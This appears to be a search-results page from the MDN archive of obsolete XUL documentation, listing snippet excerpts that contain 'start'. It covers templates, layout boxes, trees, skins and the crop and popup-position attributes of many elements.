Introduction - Archive of obsolete content
http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'. we'll look at rdf datasources first. the template builder loads an rdf datasource using the rdf service in the same way as you would create a datasource through the rdf service directly. the datasource is loaded via its url. ...
...rectly. the datasource is loaded via its url. some rdf datasources are provided with mozilla -- their url's
start with 'rdf:'. otherwise, the datasource is loaded as any other url is loaded. if the datasource is already loaded and cached, the template builder can begin work right away. otherwise, there isn't anything to do until the data is loaded. actually, this isn't quite true. the rdf service
starts the loading of the datasource in the background, and the template builder goes through the process of building content anyway. naturally, since there is no data yet, no results will be available, so the builder ends up building nothing. once some data
starts arriving, the template builder scans its information to see if some results can be created. if so, some content can be generated. if not, n...
XML Templates - Archive of obsolete content
ttribute on the root node of the template to the value xml. this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml. the datasources attribute should be set to the url of an xml document, either a local file or a remote web site. the ref attribute isn't currently used for xml sources, as the root of the document is always the
starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used. an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ... </template> <listbox> the url in the datasources attribute may be a relative url or an absolute url. note: if you want to have the state of the disclosure triangles ("twisties...
...it refers to an element with that id (without the number sign) and uses that node as the source xml node instead of a separate file. otherwise the data included inline and the template are the same. note the only change is that the addition of the xmlns attribute on the data; this is used to clear the namespace used for the elements...
Adding Buttons - Archive of obsolete content
here in the window. note: buttons support more attributes than those listed above. others will be discussed later. some examples of buttons example 1 : source view <button label="normal"/> <button label="disabled" disabled="true"/> the examples above will generate the buttons in the image. the first button is a normal button. the second button is disabled so it appears greyed out. ...
... the findfile.xul example let's add this code to the file findfile.xul that we created in the previous section. the code needs to be inserted in-between the window tags. ...
Box Model Details - Archive of obsolete content
the left box has a flexiblity that is 3 times greater than the right one so it will always receive 3 times as much of the extra space when the window...
...the window resizes. the textbox also enforces a minimum width of 100 pixels. the check box appears in the right box along with its label. just below the check box is a spacer. the spacer will grow and shrink but not exceed 30 pixels. the result is that the check box and the find button will be spaced apart from each other by some space of no more than 30 pixels. the second box has an alignment of
start. this causes the child elements to be aligned on the left edge. if this was not specified, the default would be stretch, which would make the child elements stretch horizontally. because we don't want the find button to change size, we need to set an alignment. next, we will learn about a more specialized type of box, the groupbox. « previousnext » ...
Creating a Skin - Archive of obsolete content
only apply it to the find files dialog. a simple skin the image below shows the current find files dialog. let's create a skin that we can apply to it. normally, a skin would apply to the entire application, but we'll focus on just the find files dialog to make it easier. for this reason, we'll modify only the file findfile.css rather than the global.css file. this section assumes that you are
starting with the classic skin. you may wish to make a copy of the files used by the find files dialog before editing. you need to create a file 'findfile.css' in a custom skin. or, you can temporarily place it in the content directory and refer to it using a stylesheet directive. you can modify the existing findfile.css directly to see what it looks like, or you can create a custom skin and link to...
...ated. make sure to add a slash at the end. copy the original findfile.css into the new directory. we'll use this as a basis for the new skin. we can then refer to it using the url 'chrome://findfile/skin/findfile.css'. adding style rules first, let's decide what kind of changes we want to make. we'll make some simple color changes, modify the button styles, and modify the spacing a bit. let's
start with the menus, toolbars and the overall tab panel. the following style rules added to findfile.css will cause the changes shown in the accompanying image. window > box { background-color: #0088cc; } menubar,menupopup,toolbar,tabpanels { background-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid ...
Element Positioning - Archive of obsolete content
hat gets messy when you have to do it numerous times. a better way is to use an additional attribute pack on the box. this attribute indicates how to pack the child elements inside the box. for horizontally oriented boxes, it controls the horizonal positioning of the children. for vertically oriented boxes, it controls the vertical positioning of the children. you can use the following values:
start this positions elements at the left edge for horizontal boxes and at the top edge for vertical boxes. this is the default value. center this centers the child elements in the box. end this positions elements at the right edge for horizontal boxes and at the bottom edge for vertical boxes. the pack attribute is applied to the box containing the elements to be packed, not to the elements the...
...ally however, you will note that the buttons grow in height. this is because the flexibility is assumed by default in the other direction. you can control this behavior with the align attribute. for horizontal boxes, it controls the position of the children vertically. for vertical boxes, it controls the position of the children horizontally. the possible values are similar to those for pack.
start this aligns elements along the top edge for horizontal boxes and along the left edge for vertical boxes. center this centers the child elements in the box. end this aligns elements along the bottom edge for horizontal boxes and along the right edge for vertical boxes. baseline this aligns the elements so that the text lines up. this is only useful for horizontal boxes. stretch this value...
More Tree Features - Archive of obsolete content
« previousnext » here, we'll see more features of trees. hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list. the tree view has a number of functions which specify the hierarchy of the items in a tree. each item in the tree has a level
starting at 0. the topmost items in the tree will have a level of 0, the children of those items will have a level of 1, the children below that will have a level of 2, and so on. the tree will query the view for the level of each item in order to determine how to draw the rows. the tree will draw the open and close icons to open and close a parent item as well as lines connecting the children to their parents. the tree will also handle drawing the rows wi...
...ve a number of attributes as indicated in the example below: example 2 : source view <tree enablecolumndrag="true" flex="1"> <treecols> <treecol id="runner" label="runner" flex="2" persist="width ordinal hidden" /> <splitter class="tree-splitter" /> <treecol id="city" label="home city" flex="2" persist="width ordinal hidden" /> <splitter class="tree-splitter" /> <treecol id="
starttime" label="
start time" flex="1" persist="width ordinal hidden" /> <splitter class="tree-splitter" /> <treecol id="endtime" label="end time" flex="1" persist="width ordinal hidden" /> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joshua granville" /> <treecell label="vancouver" /> <treecell label="7:06:00" /> <treecell labe...
Skinning XUL Files by Hand - Archive of obsolete content
etely -- by pressing a button, selecting a skin from a menu, or by accepting a skin from over the web. when this day comes, skins defined in a global skin file will be applied to a whole application -- like the mozilla browser -- so that all the various windows and parts will look consistent. in the meantime, however, skinning a file requires some manual interaction. this article can help you get
started understanding skins and creating skins for xul. it presumes you have at least basic understanding of xul and the application object model that xul describes. following the instructions here, you are going to create a skin for a xul file and apply it by specifying classes for all of the interested elements. the skin will reside in a single css file, appropriately named drxul.css. as you will see...
...rlinks which commonly appear in html documents. the pseudo-class is connected to an element (or not: you can also define styles that apply to any element in the state specified by a pseudo-class) with the ":" character. in this third type of style definition, the "a" element picks up the style information defined in the block only when it is, as a link, active. this last type is new to css2. to
start creating the xul skin: add the stylesheet processing instruction to the top of your xul file. <?xml-stylesheet href="sample.css" type="text/css"?> create a new text file called sample.css. add the following lines to the file: @import url(chrome://global/skin/); box#bbox { background-color: lightgrey; } button#rd { background-color: red; color: white; } save it in the same dir...
Templates - Archive of obsolete content
an rdf file or from an internal datasource. numerous datasources are provided with mozilla such as bookmarks, history and mail messages. more details on these will be provided in the later section. usually, elements such as treeitems and menuitems will be populated with data. however, you can use other elements if you want although they are more useful for specialized cases. nevertheless, we'll
start with these other elements because trees and menus require more code. to allow the creation of elements based on rdf data, you need to provide a simple template which will be duplicated for each element that is created. essentially, you provide only the first element and the remaining elements are constructed based on the first one. the template is created using the template element. inside it, ...
...and added as children of the vbox element. if you were to use dom functions to traverse the tree, you will find these elements there and can query their properties. these elements get displayed, but the template itself is not displayed, although it still exists in the document tree. in addition, the id of each of the labels will be set to the rdf resource for that row. the content builder always
starts at the place where uri="rdf:*" is specfied. if the uri attribute is placed on an element lower in the element tree, the elements outside are only created once. in the example below, one hbox will be created and it will be filled with a label for each item. <template> <hbox> <label uri="rdf:*" value="rdf:http://home.netscape.com/nc-rdf#name"/> </hbox> </template> if there is other cont...
Tree View Details - Archive of obsolete content
a call to iscontainer, regardless of whether the container is empty. review of the methods here is a review of the methods needed to implement hierarchical views: getlevel(row) hasnextsibling(row, afterindex) getparentindex(row) iscontainer(row) iscontainerempty(row) iscontaineropen(row) toggleopenstate(row) the afterindex argument to hasnextsibling function is used as optimization to only
start looking for the next sibling after that point. for instance, the caller might already know where the next sibling might possibly be. imagine a situation where a row had subrows and those subrows had child rows of their own and several are open. it could take a while in some implementations to determine what the next sibling's row index would be in such a case. example of hierarchical custom view...
...redraw the tree as needed and the result is that the child rows will appear inside the container. the various other functions implemented above such as getlevel and iscontainer are used by the tree to determine how to draw the tree. the rowcountchanged function takes two arguments, the index where the first row was inserted and the number of rows to insert. in the code above we indicate that the
starting row is the value of 'idx' plus one, which will be the first child under the parent. the tree will use this information and add space for the appropriate number of rows and push the rows afterwards down. make sure to pass the right number or the tree might redraw incorrectly or try to draw more rows than necessary. the following code is used to delete rows when a row is closed. item[2] = fals...
Trees - Archive of obsolete content
to load the data on demand as rows are displayed. this allows more flexibility when using trees. naturally, having to implement a tree view with thirty or so properties and methods for every tree can be very cumbersome, especially for simple trees. fortunately, xul provides a couple of built-in view implementations which do most of the hard work for you. for most trees, especially when you first
start to use trees, you will use one of these built-in types. however, you can create a view entirely from scratch if necessary. if you do, you might store the data in an array or javascript data structure, or load the data from an xml file. since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. this is because there are no eleme...
...reechildren element. that the treeitems are unlike other xul elements is a common source of confusion for xul developers. essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all. let's
start by looking at how to create a simple tree with multiple columns using the tree content view. this could be used to create a list of mail messages. there might be multiple columns, such as the sender and the subject. example tree with treechildren example 2 : source view <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" fl...
Using Remote XUL - Archive of obsolete content
xul files as application/vnd.mozilla.xul+xml. for apache, you can do this by adding the following line to your mime.types file: application/vnd.mozilla.xul+xml .xul alternately, add this line to your httpd.conf file or, if the apache server is configured to allow it, to the .htaccess file in the directory from which the xul file is served: addtype application/vnd.mozilla.xul+xml .xul then re
start your web server. with php you can send the mime-type with the header() function. <?php header('content-type: application/vnd.mozilla.xul+xml'); ?> <!-- xul markup
starts here --> note that you don't need a web server for this tutorial; you can load the document you create on your computer via a "file" url or the "open file" function of your browser. step 1: a basic xul document the first t...
...enever the user manipulates an element in some conclusive way. because we added it to the menubar item, and events "bubble up" from child element to parent element, it'll fire any time the user manipulates an element inside the menu bar, so we don't have to add it to each menu item and button. source | rendered conclusion it works! basic global web site navigation. what we've built is just a
start, however. there are many more enhancements we could add, including: hierarchical menus for more comprehensive navigation; (since additional menus and menu items don't take up any more space on the page, we could add links to many more parts of the site without harming usability.) embedding the menu bar into the pages; (we can use xbl to embed xul into html pages to get around the limitations ...
XUL Questions and Answers - Archive of obsolete content
siprefbranch interface. can a xul template be used for rss? you should be able to use a xul template to display feeds, although you may have to write the feed data to an rdf datasource first. specifying window.onload function to specify a function to run when the window is loaded,add the following code between the script tags in the xul file: window.addeventlistener("load", function(e) {
startup(); }, false); similarly, for onunload use the code: window.addeventlistener("unload", function(e) { shutdown(); }, false); is there an event which is called when the firefox browser is initialized? an event is initiated when the application
starts up and when the profile is changed. for more information please look at the following link: nsextensionmanager.js is nsivariant fully suppor...
...terfaces.nsiwebprogresslistener; listobj.queryinterface = function(aiid) { if (aiid.equals(listobj.wpl) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; } listobj.onstatechange = function(aprogress, arequest, aflag, astatus) { if (aflag & listobj.wpl.state_
start) { // this fires when the load event is initiated } else { if (aflag & listobj.wpl.state_stop) { if ( aflag & listobj.wpl.state_is_window ) { // this fires when all load finish } if ( aflag & listobj.wpl.state_is_network ) { // fires when all load are really over, // do something "final" here // (my two cents) } else { // t...
XUL element attributes - Archive of obsolete content
the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children. for boxes that have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
start child elements are aligned
starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. center extra space is split equally along each side of the child elements, resulting in the children being placed in the center of the box. end ...
...s larger that the size of the children. for boxes with horizontal orientation, it is used to indicate the position of children horizontally. for boxes with vertical orientation, it is used to indicate the position of children vertically. the align attribute is used to specify the position in the opposite direction. you can also specify the value of pack using the style property -moz-box-pack.
start child elements are placed
starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. center extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box. end child elements are placed on the right or bottom edge of the b...
XUL accessibility guidelines - Archive of obsolete content
r is then repeated for the next form field. users who are used to navigating form fields themselves often end up repeating the jump operation and thereby skipping ahead one form field. initial dialog focus the initial focus in a xul dialog (i.e., the focus when the dialog is first opened) should always be on a specific control, not on the dialog itself. in a tabbed dialog, focus should normally
start on the first control in the selected tab. in all other dialogs, focus should just
start on the first control (although it can be on any other control if there is a good reason for, just not on the dialog itself). testing keyboard access to test keyboard accessibility, simply unplug or disable your mouse and attempt to use your application with only your keyboard. verify that the tab order is lo...
...ility in mind. use css system colors to ensure that new widgets interact well with other widgets and with user-defined colors and themes. learn more accessible custom widgets accessible dhtml building accessible custom components in xul xul accessibility checklist use the following checklist to quickly verify the accessibility of a new xul application, or as a
starting point for fixing accessibility problems in an existing one. keyboard access checkpoint pass fail tab order logical tab order is provided. tab order jumps around unexpectedly. trees keyboard functionality is provided for inaccessible features such as the column picker or added features such as column sorting. keyboard functionality is not provided ...
The Implementation of the Application Object Model - Archive of obsolete content
s time than xp development. the additional cost up front to implement xul is worth it for the amount of time it will save in future versions of the browser. timing. it's now or never. if this approach isn't taken now, then we'll fall back into our old pattern. this is the pivotal point, because the apps are all being re-written from scratch. for this particular codebase, if we don't do this from
start, we won't do it at all. why use rdf at all? ok, ok. so you've convinced me that xul is the way and the light. but why do you need to use rdf at all? nsicontent, nsidomelement, and all of those interfaces mentioned at the beginning of this document are just that: interfaces! couldn't you just make mail content and bookmarks content etc. and have them implement those interfaces? the approach tha...
...re set, is a combination of xul and rdf. the xul/rdf architecture if you've read this far, you should now have a general idea of what the architecture is like, as well as the motivations for choosing such an architecture. now it's time to fill in some of the details by mentioning xul and rdf specifically. a picture (provided by chris waterson) of the xul/rdf architecture is shown below. let's
start over on the left side of the picture. a xul document is read into gecko's parser, and a specialized content sink, known as the xul content sink, is responsible for constructing the in-memory rdf graph representation of the xul. the rdf graph represented by the xul is then aggregated with the contents of other rdf stores (like bookmarks or history) to construct a composite data source, which is ag...
XUL controls - Archive of obsolete content
<datepicker type="popup" > a datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid. <datepicker type="popup" value="2008/08/24"/> datepicker reference <description> the description element is used for descriptive text. <description> select a time for the event to
start </description> more information about the description element. description reference <groupbox> a groupbox displays a labelled box around other user interface controls. <groupbox> <caption label="network"/> </groupbox> more information about the groupbox element. groupbox reference related elements: caption ...
...er interface controls. <groupbox> <caption label="network"/> </groupbox> more information about the groupbox element. groupbox reference related elements: caption <filefield> allows the user to select a file. <filefield/> filefield reference <image> an image specified by a url. <image src="
start.png"/> more information about the image element. image reference <label> adds a text label to a nearby control. <label control="volume" value="volume:"/> more information about the label element. label reference <listbox> the listbox is used to select an item from a list of labelled items. <listbox> ...
button - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
caption - Archive of obsolete content
ters that appears in the label attribute for the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
checkbox - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
description - Archive of obsolete content
ction of dynamic message text that will word wrap"; attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
dialogheader - Archive of obsolete content
xample dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
listbox - Archive of obsolete content
. getindexoffirstvisiblerow() return type: integer returns the index of the first displayed row. note that this is not the same as the first row -- if the displayed items have been scrolled down, this function will retrieve the index of the first row that the user can see. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. getnumberofvisiblerows() return type: integer returns the number of rows that are currently visible to the user. getrowcount() return type: integer returns the total number of rows in the element, regardless of how many rows are...
... because the view is always scrolled. selectall() return type: no return value selects all of the items. a select event is sent after the selection is made. selectitem( item ) return type: no return value deselects all of the currently selected items and selects the given item. a select event is sent after the selection is made. selectitemrange(
startitem, enditem ) return type: no return value selects the items between the two items given as arguments, including the
start and end items. all other items are deselected. this method does nothing for single-selection list boxes. a select event is sent after the selection is made. timedselect( item, timeout ) return type: no return value selects the item specifi...
listcell - Archive of obsolete content
asses listcell-iconic, examples (example needed) attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
listitem - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
menuitem - Archive of obsolete content
t the parent menus remain open. none no menus are closed. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
menupopup - Archive of obsolete content
of the popup (the second word). the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter. the popup value (ie, the second word) can be one of topleft, topright, bottomleft or bottomright. positions specified as a single word string are shortcuts for the values above. valid single-word values are after_
start, after_end, before_
start, before_end, end_after, end_before,
start_after,
start_before, overlap, at_pointer or after_pointer. for more details, including examples, please see popup positioning top type: integer overrides the vertical position of the popup specified by the showpopup method. properties accessibletype type: integer a value indicating the type ...
...an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same document as the popup. unanchored popups may be created by supplying null as the anchor node. the direction in which the popup is oriented depends on the direction of the anchor. position possible values for position are: before_
start, before_end, after_
start, after_end,
start_before,
start_after, end_before, end_after, overlap, and after_pointer. check positioning of the popup guide for a precise description of the effect of the different values. x, y for an anchored popup, the x and y arguments may be used to offset the popup from its anchored position by some number, measured in css pixels. an unanchored popup...
menuseparator - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
prefpane - Archive of obsolete content
ference elements in the pane. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. src type: url gets and sets the value of the src attribute. methods domelement getpreferenceelement(in domelement
startelement) preferenceforelement( uielement ) return type: preference element returns the preference element to which a user interface element is attached. void userchangedvalue(in domelement element); the user changed the value in a widget that the preferences system does not automatically track state changes for (1) and the preference element associated w...
...nt/script0.js"> <script type="application/javascript" src="chrome://myext/content/script1.js"> </prefwindow> when opening a dialog with multiple panes you must include the toolbar feature in the call to opendialog, for example: window.opendialog("chrome://example/content/prefwin.xul", "", "chrome,toolbar"); related prefwindow preferences system documentation: introduction: getting
started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes ...
prefwindow - Archive of obsolete content
ce element is changed. on other platforms, the preferences are not applied until the dialog is closed. you can open a preference window using a window's opendialog method as with other dialogs. you can pass the id of a particular pane as the fourth argument to opendialog to open a specific pane by default. you can also set the lastselected attribute on the prefwindow tag to the id of the pane to
start with. normally, you would not set this attribute as it will be set automatically such that the default pane is the same as the one showing when the preferences dialog was last closed. more information is available in the preferences system article. important note for xulrunner-based applications: the preferences system - part of the toolkit - still relies on two browser.* preferences. the fi...
...418. ...
radio - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
resizer - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element used for window resizing. if you place a custom resizing button inside the resizer, the user will be able to resize the window by dragging it. the resizer will send a command event after the resize is complete. note:
starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window. attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width=...
...th="16" height="16"/> <resizer dir="bottomright" style="background: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized. left resized to the left. right resized to the right. top resized up. bottom resized down. bottom
start resized down and toward the
start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales). bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales). bottomleft resized down and to the left. bottomright resized down and to the right. topleft resized...
richlistbox - Archive of obsolete content
getindexoffirstvisiblerow() return type: integer returns the index of the first displayed row. note that this is not the same as the first row -- if the displayed items have been scrolled down, this function will retrieve the index of the first row that the user can see. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. getnumberofvisiblerows() return type: integer returns the number of rows that are currently visible to the user. getrowcount() return type: integer returns the total number of rows in the element, regardless of how many rows ...
...cause the view is always scrolled. selectall() return type: no return value selects all of the items. a select event is sent after the selection is made. selectitem( item ) return type: no return value deselects all of the currently selected items and selects the given item. a select event is sent after the selection is made. selectitemrange(
startitem, enditem ) return type: no return value selects the items between the two items given as arguments, including the
start and end items. all other items are deselected. this method does nothing for single-selection list boxes. a select event is sent after the selection is made. timedselect( item, timeout ) return type: no return value selects the item specif...
<statusbarpanel> - Archive of obsolete content
<statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
tab - Archive of obsolete content
y can adjust the appearance of the area around the selected tab. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
toolbarbutton - Archive of obsolete content
id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
tree - Archive of obsolete content
